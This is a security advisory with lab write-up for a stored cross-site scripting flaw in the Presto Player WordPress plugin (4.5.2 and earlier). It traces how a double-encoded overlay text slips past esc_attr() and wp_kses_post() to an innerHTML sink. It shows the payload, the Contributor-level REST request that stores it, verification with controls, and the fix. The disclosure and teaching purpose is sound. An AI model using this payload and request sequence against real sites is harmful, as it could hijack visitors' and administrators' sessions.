CVE-2026-102914 The escape that would not encode an entity twice in Presto Player

Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in the Presto Player plugin for WordPress, affecting all versions up to and including 4.5.2. A Contributor sets the text of a video overlay. Two sanitiser passes read that text as inert characters, correctly, because that is what it is at the moment they see it. The browser decodes it once on the way into the player element, and the overlay component assigns the result to innerHTML.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
5 October 2026
Severity
Medium · CVSS 6.5
Vulnerability class
Stored cross-site scripting, CWE-79
Affected
Presto Player ≤ 4.5.2
Fixed in
4.5.3
Active installs
100,000+
Attacker privilege
Contributor, the lowest role that can write a post
Victim
Any visitor who plays the video, and the administrator who reviews the draft
Execution
One REST request, then one video play

Summary

Presto Player puts a video player on about a hundred thousand WordPress sites. One of its features is the overlay: a short piece of text shown on top of the video between two timestamps, used for a watermark, a call to action or a credit. The text is a block attribute, which means it is part of the post, and whoever may write the post may set it.

A Contributor may write a post. The role exists for exactly that, and a Contributor's post goes to pending until somebody with more authority approves it. The text they type is filtered by wp_kses_post() on the way into the database and again on the way out, and it is escaped with esc_attr() when it is written into the player element. Three filters stand between the attacker and the page.

The payload passes all three because at the moment each one inspects it, it is not a tag. <img src=x onerror=alert(document.domain)> is a string of ordinary characters. wp_kses_post() finds no element to strip. esc_attr() finds an entity that is already well formed and, by the default its own signature sets, declines to encode it a second time. The browser then decodes the attribute once, as browsers do, and hands <img src=x onerror=alert(document.domain)> to a component that assigns it to innerHTML.

Technical detail

Where the text is written

// templates/video.php, Presto Player 4.5.2. The player element, abridged.

<presto-player
    preset='<?php echo esc_attr( wp_json_encode( $data['preset'] ) ); ?>'
    branding='<?php echo esc_attr( wp_json_encode( $data['branding'] ) ); ?>'
    chapters='<?php echo esc_attr( wp_json_encode( $data['chapters'] ) ); ?>'
    overlays='<?php echo esc_attr( wp_json_encode( $data['overlays'] ) ); ?>'   // line 19
    tracks='<?php echo esc_attr( wp_json_encode( $data['tracks'] ) ); ?>'
    ...

// The overlay text is a block attribute. Whoever wrote the post set it.
// esc_attr() escapes a bare <, and leaves an &lt; that is already there alone.

$data['overlays'] is the overlay array as the block supplied it. wp_json_encode() turns it into JSON and esc_attr() prepares that JSON to sit inside a single-quoted HTML attribute. Read on its own the line is unremarkable, and it is the same line the plugin uses for seven other attributes on the same element.

What esc_attr promises, and what it does not

// wp-includes/formatting.php, WordPress 7.1.3

function esc_attr( $text ) {                                  // line 4776
    $safe_text = wp_check_invalid_utf8( $text );
    $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );  // line 4778
}

function _wp_specialchars( $text, $quote_style = ENT_NOQUOTES,
                           $charset = false, $double_encode = false ) {   // 945
    ...
    if ( ! $double_encode ) {                                 // line 977
        // Guarantee every &entity; is valid, convert &garbage; into &amp;garbage;
        $text = wp_kses_normalize_entities( $text, ... );
    }

    $text = htmlspecialchars( $text, $quote_style, $charset, $double_encode );  // 985
}

// esc_attr() passes two arguments, so $double_encode keeps its default of false.
// A bare < becomes &lt;. An &lt; that was already in the string stays &lt;.
// wp_kses_normalize_entities() on line 982 confirms the entity is well formed
// and leaves it, which is the opposite of what the attacker needs it to do.

$double_encode defaults to false, and esc_attr() never overrides it. That default is deliberate and usually right: it is what stops a string that has already been escaped from turning into &amp;amp;lt; on a second pass and rendering as visible junk. The cost of it is that esc_attr() cannot tell the difference between an entity it put there and an entity the attacker typed.

For the common case that costs nothing, because the attribute is read as text and an entity in it displays as the character it names. It costs something here because this attribute is not read as text. It is parsed as JSON by a web component, and the component writes the result into the DOM as markup.

Both filter passes see text

// inc/Support/Block.php:274, Presto Player 4.5.2

'overlays'        => DynamicData::replaceItems( $overlays, 'text' ),

// inc/Support/DynamicData.php:46

public static function replaceItems( $items, $key ) {
    foreach ( $items as $k => $item ) {
        $items[ $k ][ $key ] = self::replaceText( $item[ $key ] );
    }
    return $items;
}

// inc/Support/DynamicData.php:60

public static function replaceText( $text ) {
    return wp_kses_post( strtr( $text, self::getValues() ) );
}

// The text at this point is &lt;img src=x onerror=alert(document.domain)&gt;
// There is no tag in it, so wp_kses_post has nothing to strip. The same
// is true of the save-time pass WordPress runs over post content for
// every user who does not hold unfiltered_html.

There is nothing wrong with either pass. wp_kses_post() removes elements and attributes that are not on its allowlist, and the string contains neither. A filter that stripped &amp;lt; would break every legitimate overlay that wants to show a literal angle bracket.

The sink

// dist/components/.../presto-dynamic-overlays/component/presto-dynamic-overlays.js
// Byte identical in 4.5.2 and 4.5.3. Formatted here, minified in the build.

renderOverlay(e) {
  return h("presto-dynamic-overlay-ui", {
    class: { visible: this.shouldShowOverlay(e) },
    position: e.position,
    href: e?.link?.url,
    innerHTML: this.shouldShowOverlay(e) ? e.text : "",
    ...
  })
}

// shouldShowOverlay() is true once the video is playing and currentTime
// sits between the overlay's start and end. Nothing else guards the sink.

innerHTML is the one assignment in this chain that treats its input as markup. It is reached whenever the video is playing and the clock sits inside the overlay's window, which for an overlay that starts at 0:00 is immediately.

The same value at each stage

// One value, five stages. Only the fourth one is a tag.

// 1. wp_posts.post_content, as the block serializer stored it
"text":"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;"

// 2. after json_decode, the value both wp_kses_post passes are handed
&lt;img src=x onerror=alert(document.domain)&gt;

// 3. after wp_json_encode and esc_attr, emitted into the page
overlays='[{...&quot;text&quot;:&quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;...}]'

// 4. the browser decodes the attribute once, the component JSON.parses it
<img src=x onerror=alert(document.domain)>

// 5. innerHTML = that string
alert(document.domain)

// Three sanitisers ran. Each was correct about the string it was given.
// The one step that turns the string into a tag is the browser's, and it
// happens after the last of them.

The question that decides this class of bug is how many times the value will be decoded between the escape and the sink. The server counted zero. The browser performs one, on every HTML attribute it parses, before any script sees the value.

Verification

Measured on a clean WordPress 7.1.3 install on PHP 8.3, Presto Player as the only active plugin, served at http://127.0.0.1:8471. Two accounts: admin, an administrator, and contrib, a Contributor. Every attacker request below was driven over HTTP in the Contributor's own session, and every page was read back with no cookie at all.

// Presto Player 4.5.2 - WordPress 7.1.3 - PHP 8.3 - http://127.0.0.1:8471
// contrib is a Contributor (user 2). admin is the administrator (user 1).
// The video is an attachment the administrator uploaded, id 4.

POST /wp-login.php                                  -> 200, logged in as contrib
GET  /wp-admin/admin-ajax.php?action=rest-nonce     -> fb47413e77

// PAYLOAD  one REST request. The overlay text is the double encoded form.
POST /index.php?rest_route=/wp/v2/posts
X-WP-Nonce: fb47413e77
{"status":"pending","content":
 "<!-- wp:presto-player/self-hosted {...,\"overlays\":[{...,
   \"text\":\"&lt;img src=x onerror=alert(document.domain)&gt;\",...}]} /-->"}
201 Created   "status":"pending"   id 5

// what the row holds afterwards, read back with wp post get 5
"text":"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;"

// CONTROL 1  the same account, the same block, the payload as a live tag
{"content": "<!-- wp:presto-player/self-hosted {...\"text\":\"<img src=x onerror=alert(document.domain)>\"...} /-->"}
201 Created, and the save filter escaped the block comment itself:
   &lt;!-- wp:presto-player/self-hosted {&quot;src&quot;: ... <img src="x">
   No player element is emitted on that page. The onerror attribute is gone.

// CONTROL 2  the same account storing the player element directly
{"content": "<presto-player overlays='[{\"text\":\"&lt;img src=x onerror=alert(document.domain)&gt;\"}]'></presto-player>"}
201 Created, and the stored content is empty
   Presto Player 4.5.2 lets <presto-player> through kses only for a user who
   holds unfiltered_html. A Contributor does not, so the tag is stripped.

// the administrator publishes the post, then an anonymous visitor loads it
GET /pp-positive/        (no cookie)
overlays='[{...&quot;text&quot;:&quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;...}]'

// Chrome, fresh profile, no cookie, autoplay permitted so no click is needed
dialog: 127.0.0.1          // alert(document.domain), 45 times

// CONTROL 3  on the instrument, not on the plugin: a page that must alert
data:text/html,<script>alert('instrument-control')</script>
dialog: instrument-control

Three controls, because one success on its own proves nothing.

  • Control 1 isolates the encoding. The same account, the same block, the same overlay, with the payload written as a live tag instead of an encoded one. The save-time filter escapes the block comment itself and neuters the image, no player element reaches the page, and nothing runs. The double encoded form is the only form that survives.
  • Control 2 names the attacker's actual privilege. The same account storing the player element directly is left with empty content. Presto Player 4.5.2 admits &lt;presto-player&gt; through kses only for a user who holds unfiltered_html, and a Contributor does not hold it. This account cannot put arbitrary HTML on the site by any ordinary route, which is what makes the block route worth reporting.
  • Control 3 is on the instrument. A browser that failed to report dialogs would score every run below as clean. A page that certainly alerts is loaded first, and the handler catches it, so an empty result further down means the payload did not fire.

Then the same stored post, untouched in the database, against both releases:

Presto Playeroverlay text as emittedanonymous visitor who plays the video
4.5.2&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;alert(document.domain) fires, showing 127.0.0.1
4.5.3\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;nothing fires

One row of the database, two plugin versions, two outcomes. Nothing about the post changed between the runs.

The attack does not need the post to be published. Set the same post back to pending, the state a Contributor's submission is actually in, and open it the way a reviewer would:

// The same stored post, set back to pending. It was never published.

POST /wp-login.php     log=admin                -> /wp-admin/
GET  /?p=5&preview=true                       -> 200
dialog: 127.0.0.1   // in the administrator's own session, 45 times

// Nobody approved anything. Opening the submission to read it is enough.

The lab browser was started with autoplay permitted so the run needs no click. A visitor who presses play reaches the same point, and an overlay starting at 0:00 fires on the first timeupdate either way.

Impact

Script supplied by a Contributor runs in the origin of the site, in the session of whoever is looking at the video. For a published post that is every visitor, logged out included. For a pending post it is the editor or administrator who opens the submission to decide whether to approve it, which is the one thing a Contributor's workflow guarantees will happen. The attacker does not have to wait for publication and does not need anyone to be fooled by anything.

What that script can do is bounded only by the viewer's session. Against an administrator it reaches the REST API with their nonce, which is enough to create an account, change an option or install a plugin without a password ever being seen.

Contributor is the lowest WordPress role that can author content, and sites hand it out freely: guest writers, volunteer contributors, membership sites with open registration, editorial workflows that invite submissions. The assumption behind that generosity is that a Contributor's reach ends at the text of their own unpublished draft.

Patchstack scored this 6.5 and Wordfence 6.4, both Medium, on CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The changed scope is the part worth reading: the component that is compromised and the session that suffers for it belong to different people.

Remediation

Update Presto Player to 4.5.3 or later. It is the current release.

// templates/video.php, the whole of the 4.5.2 to 4.5.3 change

+ // Hex-escape JSON like core's data-wp-context, so esc_attr() can't let
+ // entities round-trip into tags.
+ $presto_json_flags = JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT;

- overlays='<?php echo esc_attr( wp_json_encode( $data['overlays'] ) ); ?>'
+ overlays='<?php echo esc_attr( wp_json_encode( $data['overlays'], $presto_json_flags ) ); ?>'

// The same flag argument is added to all eight JSON attributes on the
// element: preset, branding, chapters, overlays, tracks, block-attributes,
// youtube and video-attributes. JSON_HEX_AMP is the one that matters here:
// the & of &lt; leaves as \u0026, so the attribute holds no entity for
// the browser to decode, and the component receives text.

The fix is six characters of argument on eight lines, and it is the right fix: it removes the tag characters and the ampersand from the JSON before the attribute escape ever runs, so no amount of pre-encoding in the stored text can reconstitute a tag after the browser's decode. It is also the fix the report asked for, applied to every JSON attribute on the element and not only to the one the report used.

The client half was not changed, and does not need to be for this payload: the overlay component still assigns innerHTML in 4.5.3, byte for byte as in 4.5.2. That leaves the plugin holding a contract instead of a guard. Every future writer of that attribute has to remember the flags. A textContent assignment for overlay text would make the contract unnecessary, and a client-side sanitiser would make it cheap to keep.

For developers, the rule this one is about: an escape is a claim about how many decodes come after it. esc_attr() is correct for a value that the browser will decode once and then display. A value that the browser will decode once and then hand to a JSON parser, whose output is then written as markup, has two decodes and one of them is a parser you did not escape for. Where the data ends in innerHTML, strip the tag characters at the source with JSON_HEX_TAG and JSON_HEX_AMP, the way WordPress core does for data-wp-context.

The wider lesson

Six days before this report, Presto Player shipped 4.5.2, a security release that closed a different route to the same component: CVE-2026-96682, an unauthenticated stored cross-site scripting through a raw &lt;presto-player&gt; tag in a comment. The fix was good. It also wrote down, in the file it changed, the assumption that this report falsifies.

// inc/Services/Compatibility.php, Presto Player 4.5.2, shipped 25 September 2026.
// The comment is the vendor's, quoted whole.

public function allowHtml( $tags, $context = '' ) {
    // Only allow the player tag when kses is sanitizing post content, and only
    // for users who may already store unfiltered HTML.
    //
    // The 'post' context keeps the tag out of comments etc., which is what let
    // unauthenticated users store a payload through comments (CVE-2026-96682).
    //
    // Requiring unfiltered_html stops a low-privileged author from smuggling a
    // raw <presto-player> tag (with an unsanitized inline preset) into post
    // content: kses strips it like any unknown element. Legitimate players come
    // from blocks/shortcodes rendered server-side after kses, so they are
    // unaffected.
    //
    // Design note: we deliberately close the author-injected vector here, at
    // the kses layer, rather than by sanitizing the preset inside the web
    // component or by sweeping the_content on output. Stripping the untrusted
        // tag on save means the component only ever receives trusted data (from the
        // REST/block path), so it needs no client-side sanitizer and adds no
        // per-render cost.
    ...
}

Read the last sentence of that comment again. The component needs no client-side sanitizer because the only data it can receive comes from the block path, and the block path is trusted. The first half is true. The second half is the thing that was never checked, and it was checked here by filling in a block attribute as the lowest role that can fill one in.

This is the most common shape of a real finding, and it is worth naming. A patch is written for a route. The author closes that route correctly and, while writing it down, states the property the closure relies on. The statement is accurate about everything in front of the author and silent about one thing behind them. The next finding sits in that sentence.

There is a reading habit that catches it, and it is cheap. When a patch says a source is trusted, go and ask who can write to that source. Here the answer is printed in the WordPress capabilities table: a Contributor can author a post, a post carries blocks, a block carries attributes, and the attribute is the source. No part of that chain is obscure. It only has to be followed in the direction the patch was not looking.

The second habit is to count decodes instead of counting filters. Three filters ran on this value and the count was never the problem. One of them was asked a question it answers well, in a context that asks it twice.

Disclosure timeline

  • 2026-09-25 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
  • 2026-10-01 Release 4.5.3 published by Presto Made
  • 2026-10-05 Public disclosure · CVE-2026-102914 assigned

Questions

What is CVE-2026-102914?

CVE-2026-102914 is a stored cross-site scripting vulnerability in the Presto Player plugin for WordPress, affecting all versions up to and including 4.5.2. The text of a video overlay is written into an HTML attribute with esc_attr(), which by default does not re-encode an entity that is already present in the string. The overlay web component parses that attribute as JSON and assigns the text to innerHTML, so text stored in an already-encoded form arrives at the sink as a live tag.

Who can exploit CVE-2026-102914?

Any user holding the Contributor role or above. Contributor is the lowest WordPress role that can write a post, and the overlay text is a block attribute of a post, so no further privilege is needed. The payload runs for any visitor who plays the video, including logged-out visitors, and for the editor or administrator who opens the pending submission to review it.

Does the post have to be published first?

No. The payload fires in the reviewer's own session when a pending submission is opened, which was confirmed in the lab against a post that was never published. Publication widens the audience to anonymous visitors but is not required.

How do I fix CVE-2026-102914?

Update Presto Player to 4.5.3 or later. That release encodes the player element's JSON attributes with JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS and JSON_HEX_QUOT, so the attribute can no longer carry an entity that the browser decodes into a tag. If untrusted accounts have held the Contributor role, review existing Presto Player blocks for overlay text containing encoded angle brackets.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.